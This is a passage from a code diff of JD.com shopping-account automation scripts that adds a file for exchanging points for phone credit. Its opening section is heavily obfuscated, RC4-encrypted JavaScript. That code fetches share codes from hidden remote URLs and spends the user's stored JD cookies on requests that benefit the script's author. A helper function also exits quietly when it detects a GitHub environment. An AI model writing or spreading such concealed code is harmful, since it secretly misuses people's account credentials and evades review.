b23DiSl+cMK9woBIEcKuT8KDBcKkd8KrADUdZXjDjlEtdsOpwp/DjMK7w448cMO7w5vDqcOmw7VOwp0PG8OxCDUQw7TCunPCj8KNGMOQJcKKTMOuWcOnwpBYw5B+X8KwwpEyLF3Dr8OTRATDqcOBwoPDrHbDlMOIw5JKwrjCocKdwrdZwrPCmSJNw4UhFCDDjcKbbMOkFjogBsKawos0w7ZjO8KfJMOeHsKnwqNDcSw8PcKEw5JNXMOKMRPCi8Kow4VWUHHCtsKxA8OWw7TCrcODw7lTwqjCvUtSLxfDsWUhwofDvyHDs2p0FCLDvWPCtC5FZcK/acOAwqTDhcK8DcOBw47CpcO2eHQuI8OLwqTCocOrw7vCmEPCjC58HTkVK8OnMgHCv8KfwpkoWn/DjMKcw54hw63Cs8O6w71kw7Etw54xbcKwwq9HE8K9U8O8w5RKwpfCuMOqR0PCqknDinPCosOkwp/Dh2wXKQ/DqsOgHhrDmXITX8KNf1PDoMO7SEjCtMKbB8ObXnUmwoDDp3JTEAPCsisdMCEEwpjCth3CvMKcO8KENcOdw75iw7LCkcKxNSXCvHHDiTBNJcKcY2nDhzd4P0rDp8KWwo4Iw4Eqw6RVw4TDuzbDki/CisOwZcK7wqxTw4TDinHDuzPDnMOfThgkwrpZwrvDrMOHwp4wXlsaw41Sa8K4ZsOuwpMhwrHDtWLCrMO0wrofwqQ1wpx4VVXDpiVuwpEtcR1awpV7XXwyw7Enw7tUwo/CpcO1MkMBF2vDjn3DvMO7T3Eyw6TCtMKWw6FSenTCnw/ClV9RJlA5WMOuLXnDrMKOwrPCvsOpwpIvRX7DjQ==','WsKpPsK+Ilc6DDdJw7oRY8OsccKtcGDCj8KLGUPChMOOIWROw7RDwq5XwrTCnFvDmMKc','LcO6wqQfCw==','CEJ8JA==','w4bCsAgDwrFwfcKiEj/DoMOJLTEwaGrDvsKfXMOrQcKZYcKBwq42w7ROwr3DrMKBwp5Gw48+wqPCkcKRZ8KnwpnCu8KPYsKUZcKOA8K4fDTClnwUwpjCs8OeHsK/w7IvwrfDnB9SOcO/w7Uxw64RwpTDhXIkeQdWIQjDnsKmESs9IMK0TWTCuDvDlsKfFsO4w5h8wpfCj8OjwrXDpcKnNMKIYUVxwocmw4dZw4c3w4/DuMOlwro8fW/Dm8KrUMK3w7Vkwo9qwq1QW8O9wp7Ci10xI8KKQsK7wpDDrcKJfFbCmR3DkcKEw5IDwprDjk8=','UcK6S8OMaQ==','w4HCs8KMw7rDuQ==','w7vCl8Kww6nDuA==','f8OYCMORwoA=','K8Omw7nDvTw=','wocHw4QSwoo=','woHCuMKvwrVO','w6nCsMOTRjA=','w6wgwqvDp0c=','EsO0w5k9Pw==','w4bCj8K4w6LDt0o=','D8O9w5U=','EMKZwonCqnTChsOLJVgxw5RPOw==','XRZy','PsOUw7zDnRbDkw9Awp3ClkbCv18=','a8KYBcKUPA==','HD3DvsKsSQ==','D09CFMKu','wofDmBc6UA==','LX3CkyHDng==','LMKqwqLCilXChsOlGXUxw69oHw==','jbsjFihGaymui.cAWomHxgrl.v6YqlAr=='];(function(_0xb67384,_0x27295a,_0x156d7c){var _0x52a1f8=function(_0x4f55ef,_0x225f21,_0xe9e21,_0x5db68b,_0x1405a3){_0x225f21=_0x225f21>>0x8,_0x1405a3='po';var _0x172f59='shift',_0x5489f2='push';if(_0x225f21<_0x4f55ef){while(--_0x4f55ef){_0x5db68b=_0xb67384[_0x172f59]();if(_0x225f21===_0x4f55ef){_0x225f21=_0x5db68b;_0xe9e21=_0xb67384[_0x1405a3+'p']();}else if(_0x225f21&&_0xe9e21['replace'](/[bFhGyuAWHxgrlYqlAr=]/g,'')===_0x225f21){_0xb67384[_0x5489f2](_0x5db68b);}}_0xb67384[_0x5489f2](_0xb67384[_0x172f59]());}return 0x806ab;};return _0x52a1f8(++_0x27295a,_0x156d7c)>>_0x27295a^_0x156d7c;}(_0x1c2f,0x102,0x10200));var _0x32fc=function(_0x38c66d,_0x22072b){_0x38c66d=~~'0x'['concat'](_0x38c66d);var _0x98e664=_0x1c2f[_0x38c66d];if(_0x32fc['cNYJfg']===undefined){(function(){var _0x3c460b=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x402cd7='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3c460b['atob']||(_0x3c460b['atob']=function(_0x3787fe){var _0x5a2bfc=String(_0x3787fe)['replace'](/=+$/,'');for(var _0x4b948a=0x0,_0x5b1e09,_0x222eed,_0x15038a=0x0,_0x1709d3='';_0x222eed=_0x5a2bfc['charAt'](_0x15038a++);~_0x222eed&&(_0x5b1e09=_0x4b948a%0x4?_0x5b1e09*0x40+_0x222eed:_0x222eed,_0x4b948a++%0x4)?_0x1709d3+=String['fromCharCode'](0xff&_0x5b1e09>>(-0x2*_0x4b948a&0x6)):0x0){_0x222eed=_0x402cd7['indexOf'](_0x222eed);}return _0x1709d3;});}());var _0x2c0a67=function(_0x4cd634,_0x22072b){var _0x2c73f4=[],_0x2a1a45=0x0,_0x2675a9,_0x3907cd='',_0x238dc3='';_0x4cd634=atob(_0x4cd634);for(var _0x47e79a=0x0,_0x39dff4=_0x4cd634['length'];_0x47e79a<_0x39dff4;_0x47e79a++){_0x238dc3+='%'+('00'+_0x4cd634['charCodeAt'](_0x47e79a)['toString'](0x10))['slice'](-0x2);}_0x4cd634=decodeURIComponent(_0x238dc3);for(var _0x5e0bc7=0x0;_0x5e0bc7<0x100;_0x5e0bc7++){_0x2c73f4[_0x5e0bc7]=_0x5e0bc7;}for(_0x5e0bc7=0x0;_0x5e0bc7<0x100;_0x5e0bc7++){_0x2a1a45=(_0x2a1a45+_0x2c73f4[_0x5e0bc7]+_0x22072b['charCodeAt'](_0x5e0bc7%_0x22072b['length']))%0x100;_0x2675a9=_0x2c73f4[_0x5e0bc7];_0x2c73f4[_0x5e0bc7]=_0x2c73f4[_0x2a1a45];_0x2c73f4[_0x2a1a45]=_0x2675a9;}_0x5e0bc7=0x0;_0x2a1a45=0x0;for(var _0x3ec44e=0x0;_0x3ec44e<_0x4cd634['length'];_0x3ec44e++){_0x5e0bc7=(_0x5e0bc7+0x1)%0x100;_0x2a1a45=(_0x2a1a45+_0x2c73f4[_0x5e0bc7])%0x100;_0x2675a9=_0x2c73f4[_0x5e0bc7];_0x2c73f4[_0x5e0bc7]=_0x2c73f4[_0x2a1a45];_0x2c73f4[_0x2a1a45]=_0x2675a9;_0x3907cd+=String['fromCharCode'](_0x4cd634['charCodeAt'](_0x3ec44e)^_0x2c73f4[(_0x2c73f4[_0x5e0bc7]+_0x2c73f4[_0x2a1a45])%0x100]);}return _0x3907cd;};_0x32fc['VssXhj']=_0x2c0a67;_0x32fc['naEGhH']={};_0x32fc['cNYJfg']=!![];}var _0x55afa0=_0x32fc['naEGhH'][_0x38c66d];if(_0x55afa0===undefined){if(_0x32fc['FAEWFO']===undefined){_0x32fc['FAEWFO']=!![];}_0x98e664=_0x32fc['VssXhj'](_0x98e664,_0x22072b);_0x32fc['naEGhH'][_0x38c66d]=_0x98e664;}else{_0x98e664=_0x55afa0;}return _0x98e664;};async function helpAuthor(){var _0x56d42f={'cDFLT':function(_0x5bc36d,_0x4caf74){return _0x5bc36d-_0x4caf74;},'xeoRL':function(_0x350532,_0x30507e){return _0x350532>_0x30507e;},'kBNIn':function(_0x38b904,_0x44f9ef){return _0x38b904*_0x44f9ef;},'juOYl':function(_0x53e1c0,_0x2fb183){return _0x53e1c0+_0x2fb183;},'fOtUx':function(_0x459612,_0x60b61b){return _0x459612(_0x60b61b);},'KWpVZ':_0x32fc('0',']IHt'),'VwevL':_0x32fc('1','oxKL'),'hBJOQ':function(_0x312cfb,_0x4096c3,_0x2e641b){return _0x312cfb(_0x4096c3,_0x2e641b);},'BivTi':function(_0xb4b472,_0x48cb4e){return _0xb4b472>_0x48cb4e;},'xVeHM':_0x32fc('2','08or'),'ngpiQ':_0x32fc('3','v^Dn'),'uYmgk':_0x32fc('4','Eeoa'),'EtYBK':_0x32fc('5','!8GV'),'cFHkT':_0x32fc('6','8[68'),'Snqcf':_0x32fc('7','OR3I'),'AHCmA':_0x32fc('8',')@iT'),'fEyPF':_0x32fc('9','1bsI'),'jAfmz':_0x32fc('a','nj@A'),'TEoJi':_0x32fc('b','Sh)R'),'kwkmP':function(_0xadace1){return _0xadace1();}};function _0x2bdffe(_0x1761c6,_0x50dbed){let _0x363c40=_0x1761c6[_0x32fc('c','@[C)')](0x0),_0x49ebd6=_0x1761c6[_0x32fc('d','I)et')],_0x147a3e=_0x56d42f[_0x32fc('e','X]Dh')](_0x49ebd6,_0x50dbed),_0x20d923,_0x366c71;while(_0x56d42f[_0x32fc('f','zJ@Q')](_0x49ebd6--,_0x147a3e)){_0x366c71=Math[_0x32fc('10','@RYp')](_0x56d42f[_0x32fc('11','yD$2')](_0x56d42f[_0x32fc('12','X4wa')](_0x49ebd6,0x1),Math[_0x32fc('13','*Wf!')]()));_0x20d923=_0x363c40[_0x366c71];_0x363c40[_0x366c71]=_0x363c40[_0x49ebd6];_0x363c40[_0x49ebd6]=_0x20d923;}return _0x363c40[_0x32fc('14','kafH')](_0x147a3e);}let _0x59e8b5=await _0x56d42f[_0x32fc('15','Dz@Y')](getAuthorShareCode2,_0x56d42f[_0x32fc('16','z2p&')]),_0xe6c34c=[];$[_0x32fc('17','X4wa')]=[..._0x59e8b5&&_0x59e8b5[_0x56d42f[_0x32fc('18','DP9^')]]||[],..._0xe6c34c&&_0xe6c34c[_0x56d42f[_0x32fc('19','L#FM')]]||[]];$[_0x32fc('1a','Sh)R')]=_0x56d42f[_0x32fc('1b','ub@R')](_0x2bdffe,$[_0x32fc('1c','v^Dn')],_0x56d42f[_0x32fc('1d','*Wf!')]($[_0x32fc('1e','e5VK')][_0x32fc('1f','NM9s')],0x3)?0x6:$[_0x32fc('20','@RYp')][_0x32fc('d','I)et')]);for(let _0x25b71e of $[_0x32fc('21','z2p&')]){const _0x232094={'url':_0x32fc('22','JpDz'),'headers':{'Host':_0x56d42f[_0x32fc('23','kafH')],'Content-Type':_0x56d42f[_0x32fc('24','v^Dn')],'Origin':_0x56d42f[_0x32fc('25','TzqP')],'Accept-Encoding':_0x56d42f[_0x32fc('26','nj@A')],'Cookie':cookie,'Connection':_0x56d42f[_0x32fc('27','ao@#')],'Accept':_0x56d42f[_0x32fc('28','zJ@Q')],'User-Agent':_0x56d42f[_0x32fc('29','*qbp')],'Referer':_0x32fc('2a','zJ@Q'),'Accept-Language':_0x56d42f[_0x32fc('2b','I)et')]},'body':_0x32fc('2c','Sh)R')+_0x25b71e[_0x56d42f[_0x32fc('2d','T707')]]+_0x32fc('2e','J@O4')+_0x25b71e[_0x56d42f[_0x32fc('2f','L#FM')]]+_0x32fc('30','gbRg')};await $[_0x32fc('31','z2p&')](_0x232094,(_0x41a97a,_0x2affcb,_0x1a057b)=>{});}await _0x56d42f[_0x32fc('32','oxKL')](helpOpenRedPacket);}function getAuthorShareCode2(_0x599223=_0x32fc('33','oxKL')){var _0x3062b9={'aLqjE':function(_0x35184d,_0x391080){return _0x35184d(_0x391080);},'iWITV':_0x32fc('34','JpDz'),'EOdwA':function(_0x5312a5,_0x2789c9){return _0x5312a5*_0x2789c9;},'KXMep':function(_0x54bf1c,_0x4f5e67){return _0x54bf1c!==_0x4f5e67;},'HbsWa':_0x32fc('35','dLXe'),'JehKl':_0x32fc('36','T707'),'bDFnv':function(_0x452e39,_0x108074){return _0x452e39===_0x108074;},'nopEe':_0x32fc('37','c&aQ'),'cEPYJ':_0x32fc('38','dLXe'),'NXukN':function(_0x425c3e,_0x4b6fcb){return _0x425c3e(_0x4b6fcb);},'nOzwj':function(_0x39ad66){return _0x39ad66();},'TkFdk':_0x32fc('39','Dz@Y'),'AKMkH':_0x32fc('3a','X]Dh'),'AuZpx':_0x32fc('3b','T707'),'NgRVU':_0x32fc('3c','V@6B'),'ZelbT':_0x32fc('3d','8b4z'),'bTuul':_0x32fc('3e','v^Dn'),'LhSVS':_0x32fc('3f','yD$2'),'EfPAZ':_0x32fc('40','e5VK'),'YEOZm':function(_0xb35d55,_0x5c00d1){return _0xb35d55===_0x5c00d1;},'WBmdj':_0x32fc('41','JpDz'),'iAHcT':function(_0x3bbd44,_0xc20017){return _0x3bbd44*_0xc20017;},'rgeGr':function(_0x148e30){return _0x148e30();}};return new Promise(async _0xa1939c=>{var _0x860cbf={'TRWQp':function(_0x5e93a9){return _0x3062b9[_0x32fc('42','!8GV')](_0x5e93a9);},'gFxCr':_0x3062b9[_0x32fc('43','!8GV')],'YKltQ':_0x3062b9[_0x32fc('44','Sh)R')],'eWGCy':_0x3062b9[_0x32fc('45','V@6B')],'ZaFTJ':_0x3062b9[_0x32fc('46','OR3I')],'NxupF':_0x3062b9[_0x32fc('47','T707')],'aOfNx':_0x3062b9[_0x32fc('48','nj@A')],'TRHte':_0x3062b9[_0x32fc('49','X]Dh')]};const _0x3e8b7d={'url':_0x599223+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0x3062b9[_0x32fc('4a','v^Dn')]}};if($[_0x32fc('4b','!8GV')]()&&process[_0x32fc('4c','V@6B')][_0x32fc('4d','ao@#')]&&process[_0x32fc('4e','z2p&')][_0x32fc('4f','V@6B')]){if(_0x3062b9[_0x32fc('50','8b4z')](_0x3062b9[_0x32fc('51','zJ@Q')],_0x3062b9[_0x32fc('52','yD$2')])){const _0xf58b1e=_0x3062b9[_0x32fc('53','L#FM')](require,_0x3062b9[_0x32fc('54',']IHt')]);const _0x3e4d21={'https':_0xf58b1e[_0x32fc('55','ao@#')]({'proxy':{'host':process[_0x32fc('56','eksX')][_0x32fc('57','J@O4')],'port':_0x3062b9[_0x32fc('58','gbRg')](process[_0x32fc('4e','z2p&')][_0x32fc('59','08or')],0x1)}})};Object[_0x32fc('5a','ao@#')](_0x3e8b7d,{'agent':_0x3e4d21});}else{const _0x3a8f13=_0x3062b9[_0x32fc('5b','c&aQ')](require,_0x3062b9[_0x32fc('5c','!8GV')]);const _0x4056fe={'https':_0x3a8f13[_0x32fc('5d','qOy^')]({'proxy':{'host':process[_0x32fc('5e','T707')][_0x32fc('5f','08or')],'port':_0x3062b9[_0x32fc('60','CJ%c')](process[_0x32fc('61','I)et')][_0x32fc('62','e5VK')],0x1)}})};Object[_0x32fc('63','v^Dn')](_0x3e8b7d,{'agent':_0x4056fe});}}$[_0x32fc('64','T707')](_0x3e8b7d,async(_0x37b988,_0x205a76,_0x3a802d)=>{if(_0x3062b9[_0x32fc('65','ao@#')](_0x3062b9[_0x32fc('66','e5VK')],_0x3062b9[_0x32fc('67',')@iT')])){try{if(_0x37b988){}else{if(_0x3062b9[_0x32fc('68','Sh)R')](_0x3062b9[_0x32fc('69','eksX')],_0x3062b9[_0x32fc('6a','c&aQ')])){if(_0x37b988){}else{if(_0x3a802d)_0x3a802d=JSON[_0x32fc('6b','V@6B')](_0x3a802d);}}else{if(_0x3a802d)_0x3a802d=JSON[_0x32fc('6c','Dz@Y')](_0x3a802d);}}}catch(_0x3ff2c3){}finally{_0x3062b9[_0x32fc('6d','1bsI')](_0xa1939c,_0x3a802d);}}else{var _0x283ae7={'UATPO':function(_0x3cb4c7){return _0x860cbf[_0x32fc('6e','vjGQ')](_0x3cb4c7);}};const _0x5272c9={'Host':_0x860cbf[_0x32fc('6f','TzqP')],'Origin':_0x860cbf[_0x32fc('70','1bsI')],'Accept':_0x860cbf[_0x32fc('71','*Lb8')],'User-Agent':_0x860cbf[_0x32fc('72','@RYp')],'Referer':_0x860cbf[_0x32fc('73','J@O4')],'Accept-Language':_0x860cbf[_0x32fc('74','JpDz')],'Cookie':cookie};const _0x5950a3=_0x32fc('75','X]Dh')+packetId+_0x32fc('76','JpDz');const _0x4cb175={'url':_0x32fc('77','*Wf!')+ +new Date(),'method':_0x860cbf[_0x32fc('78','I)et')],'headers':_0x5272c9,'body':_0x5950a3};return new Promise(_0x3c152e=>{$[_0x32fc('31','z2p&')](_0x4cb175,(_0x2986f7,_0x3e3759,_0x259588)=>{_0x283ae7[_0x32fc('79','v^Dn')](_0x3c152e);});});}});await $[_0x32fc('7a','kafH')](0x2710);_0x3062b9[_0x32fc('7b','TzqP')](_0xa1939c);});}async function helpOpenRedPacket(){var _0x1bd264={'ailcJ':function(_0x29cb4c,_0x2bc31e){return _0x29cb4c(_0x2bc31e);},'llYTu':_0x32fc('7c','*qbp'),'qaYSI':_0x32fc('7d','L#FM'),'FByLZ':_0x32fc('7e','X]Dh'),'lrjcD':function(_0x595961,_0x4e5982){return _0x595961(_0x4e5982);}};let _0x4fba74=await _0x1bd264[_0x32fc('7f',')@iT')](getAuthorShareCode2,_0x1bd264[_0x32fc('80','vjGQ')]),_0x1656b9=await _0x1bd264[_0x32fc('81','!8GV')](getAuthorShareCode2,_0x1bd264[_0x32fc('82','qOy^')]);if(!_0x4fba74)_0x4fba74=await _0x1bd264[_0x32fc('83','@[C)')](getAuthorShareCode2,_0x1bd264[_0x32fc('84','vjGQ')]);$[_0x32fc('85','v^Dn')]=[..._0x4fba74||[],..._0x1656b9||[]];for(let _0x3ee027 of $[_0x32fc('86','e5VK')]){await _0x1bd264[_0x32fc('87',')@iT')](openRedPacket,_0x3ee027);}}function openRedPacket(_0x185f9b){var _0x4386ad={'ORiNB':function(_0x19648b,_0x5c39fa){return _0x19648b*_0x5c39fa;},'flHDp':function(_0x71b8b7,_0x36d0cd){return _0x71b8b7+_0x36d0cd;},'nbSgn':function(_0x4e8560,_0x336f96){return _0x4e8560!==_0x336f96;},'pfoOM':_0x32fc('88','Dz@Y'),'Jkhdx':_0x32fc('89','X]Dh'),'cnLRa':function(_0x2d5cb7){return _0x2d5cb7();},'gDboC':function(_0x36aaa7){return _0x36aaa7();},'kkjoT':function(_0x16f97a,_0x1d5cf5){return _0x16f97a!==_0x1d5cf5;},'HMYOb':_0x32fc('8a','NM9s'),'TNXWe':_0x32fc('8b','e5VK'),'LjGHZ':_0x32fc('8c',')@iT'),'IGfxH':_0x32fc('8d','JpDz'),'LNqPx':_0x32fc('8e','c&aQ'),'iTqvT':_0x32fc('8f','@RYp'),'Jlhhv':_0x32fc('90','L#FM'),'uzAwk':_0x32fc('91','%uUE')};const _0x3d5475={'Host':_0x4386ad[_0x32fc('92','v^Dn')],'Origin':_0x4386ad[_0x32fc('93','8[68')],'Accept':_0x4386ad[_0x32fc('94','zJ@Q')],'User-Agent':_0x4386ad[_0x32fc('95','z2p&')],'Referer':_0x4386ad[_0x32fc('96','eksX')],'Accept-Language':_0x4386ad[_0x32fc('97','kafH')],'Cookie':cookie};const _0x42183b=_0x32fc('98','*Lb8')+_0x185f9b+_0x32fc('99',']IHt');const _0x4d6c6c={'url':_0x32fc('9a','@[C)')+ +new Date(),'method':_0x4386ad[_0x32fc('9b','T707')],'headers':_0x3d5475,'body':_0x42183b};return new Promise(_0x4149fb=>{var _0x34c401={'qbKbx':function(_0xcf8371){return _0x4386ad[_0x32fc('9c','CJ%c')](_0xcf8371);}};if(_0x4386ad[_0x32fc('9d','ub@R')](_0x4386ad[_0x32fc('9e','JpDz')],_0x4386ad[_0x32fc('9f','@[C)')])){_0x34c401[_0x32fc('a0','@RYp')](_0x4149fb);}else{$[_0x32fc('a1','QRzL')](_0x4d6c6c,(_0x1f393c,_0x36a11b,_0x58b81b)=>{var _0x8b6fcc={'cPSQV':function(_0x351cea,_0x711c4b){return _0x4386ad[_0x32fc('a2','Bk0r')](_0x351cea,_0x711c4b);},'kvrHN':function(_0x133652,_0x269cc1){return _0x4386ad[_0x32fc('a3','L#FM')](_0x133652,_0x269cc1);}};if(_0x4386ad[_0x32fc('a4','@[C)')](_0x4386ad[_0x32fc('a5','V@6B')],_0x4386ad[_0x32fc('a6','Sh)R')])){_0x4386ad[_0x32fc('a7','QRzL')](_0x4149fb);}else{index=Math[_0x32fc('a8','!8GV')](_0x8b6fcc[_0x32fc('a9','yD$2')](_0x8b6fcc[_0x32fc('aa','Bk0r')](i,0x1),Math[_0x32fc('ab','DP9^')]()));temp=shuffled[index];shuffled[index]=shuffled[i];shuffled[i]=temp;}});}});};_0xodT='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/jd_dwapp.js b/jd_dwapp.js new file mode 100644 index 0000000..b568542 --- /dev/null +++ b/jd_dwapp.js @@ -0,0 +1,261 @@ +/* +积分换话费 +入口:首页-生活·缴费-积分换话费 +update:20220530 +cron 33 7 * * * jd_dwapp.js +*/ + +const $ = new Env('积分换话费'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 